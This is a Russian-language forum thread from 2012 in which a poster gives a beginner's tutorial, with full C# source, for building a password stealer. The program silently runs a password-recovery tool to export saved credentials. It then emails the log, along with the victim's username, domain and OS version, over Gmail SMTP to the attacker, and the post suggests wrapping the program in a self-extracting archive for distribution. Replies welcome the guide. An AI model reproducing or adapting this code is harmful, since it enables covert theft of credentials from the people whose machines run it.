• Новое на форуме
  • Лучшее на форуме
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Пишем стиллер
Web-Net Понедельник, 09.01.2012, 18:31 | Сообщение # 1
Offline
Сообщений: 14
Награды: 0
Доброго времени суток
гайд рассчитан в первую очередь на новичков, батьки проходим мимо
И так, для начала нам нужен "ms visual studio" с c#(шарп, не путаем с с++), я использовал 2010 студию чего и вам рекомендую, тк там есть 4нет фреймфорк(начиная с 4 версии можно нормально отправлять почту). Также нужен "MPR" (Multi Password Recovery)- с помощью этой утилиты мы будем вытягивать пароли.(где скачать? гугл )

1. Запускам студию, создаем консольный проект (.net Framework 4.0)
IMG: http://s51.radikal.ru/i134/1103/0f/fad620b201ce.png
IMG: http://s50.radikal.ru/i129/1103/ce/df1e25766972.png
2. С debug'a ставим на release (по сути разницы мало... это не с++, но всетаки)
IMG: http://s60.radikal.ru/i169/1103/15/a3cef613230c.png
3.Теперь нужно сделать нашу консолку невидимой, как? все очень просто, достаточно поменять тип на Windows application в Solution Explorere..
IMG: http://i023.radikal.ru/1103/80/0e838e5bc607.png
IMG: http://i022.radikal.ru/1103/e4/18c53ac78794.png
4.Скачиваем MPR и скидываем "MPR.exe, HookLib.dll, block_reader.sys" к нашему зловреду (по дефолту C:\Users\юзверьнейм\Documents\Visual Studio 20**\Projects\имя проекта\bin\release)
5.Теперь наверное самое интересное, пишем наш зловещий код
заходим в program.cs
вверху, там где using'ы добавляем:

Code
using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Net.Mime;

в main пишем:
Code
  static void Main(string[] args)
         {
             start("MPR.exe", "/export");//запускаем Мпр и экспортируем пароли
             start("cmd.exe"," /c ren *.mpf log.mpf");//переименовываем "буквыбуквы.мпф" на "наши буквы.мпф"=)
           //аттачим лог и отправляем почту, (сервер, порт, мыло, пароль)
             sendMail("smtp.gmail.com",587,"lol@gmail.com","qwerty123");
         }

чуть ниже main'a

Code
  static void start(string file, string command) //файл параметр
         {
             try
             {
                 Process p1 = new Process();
                 p1.StartInfo.UseShellExecute = true;
                 p1.StartInfo.RedirectStandardOutput = false;
                 p1.StartInfo.FileName = file;//имя приложения
                 p1.StartInfo.Arguments = command;//експорт паролей в файл
                 p1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;//скрытый запуск
                 p1.Start();//старт
                 p1.WaitForExit();//ждать пока запускаемое приложение закроеться
             }
             catch { }
         }
         static public void sendMail(string server,int port,string mail,string pass)
         {
             SmtpClient client = new SmtpClient(server, port); //smtp сервер п порт (можно 25)
             client.EnableSsl = true;
             client.Credentials = new System.Net.NetworkCredential(mail, pass); //почта и пароль
             MailMessage msg = new MailMessage();
             msg.From = new MailAddress(mail);//от кого письмо
             msg.To.Add(new MailAddress(mail));//кому письмо
             msg.Subject = "stealer by byte";//заголовок мессаги
             msg.Body = "infoрматион=): " +
                 " UserName: " + Environment.UserName +  
                 " DomainName: " + Environment.UserDomainName +  
                 " OSver: " + Environment.OSVersion; //содержимое
             
             string file = String.Format("log.mpf");
             Attachment attach = new Attachment(file);//аттачим наш лог
             ContentDisposition disposition = attach.ContentDisposition;
             attach.TransferEncoding = TransferEncoding.QuotedPrintable; //кодировка гумно, рекомендую поопробывать поставит другие...
             client.Timeout = 999999999; //таймаут, как показывает практика 999999999 как раз хватит =)
             msg.Attachments.Add(attach);// добавляем аттач
             try
             {
                 client.Send(msg);//отправляем мессагу
             }
             catch { }
         }

собственно шаманство с кодом завершено, остается только вписать свою почту\пароль\и смтп сервер

Code
sendMail("smtp.gmail.com",587,"lol@gmail.com","qwerty123");

6.Ну и что дальше скажите вы?, жмем ф6 для создания виря, если все правильно то в папке bin\release появится .ехешник, можете запустить для проверки.
теперь остается малое, запилить сфх архив(думаю каждый знает как)

Если возникнут какие-то ошибки\вопросы пишите в тему
Удачи
Исходники:
http://rghost.ru/35818054
AnVIRUS Вторник, 10.01.2012, 13:21 | Сообщение # 2
Offline
Сообщений: 2
Награды: 0
Лучше бы сразу разместить скрины на странице, можно под спойлер. Будет намного легче happy А вообще, гайд интересный, как допишу апдейтер, перейду к этому эксперименту wink
Web-Net Вторник, 10.01.2012, 19:54 | Сообщение # 3
Offline
Сообщений: 14
Награды: 0
Я исход сделал и выложил на сайте в этой теме
  • Страница 1 из 1
  • 1
Поиск: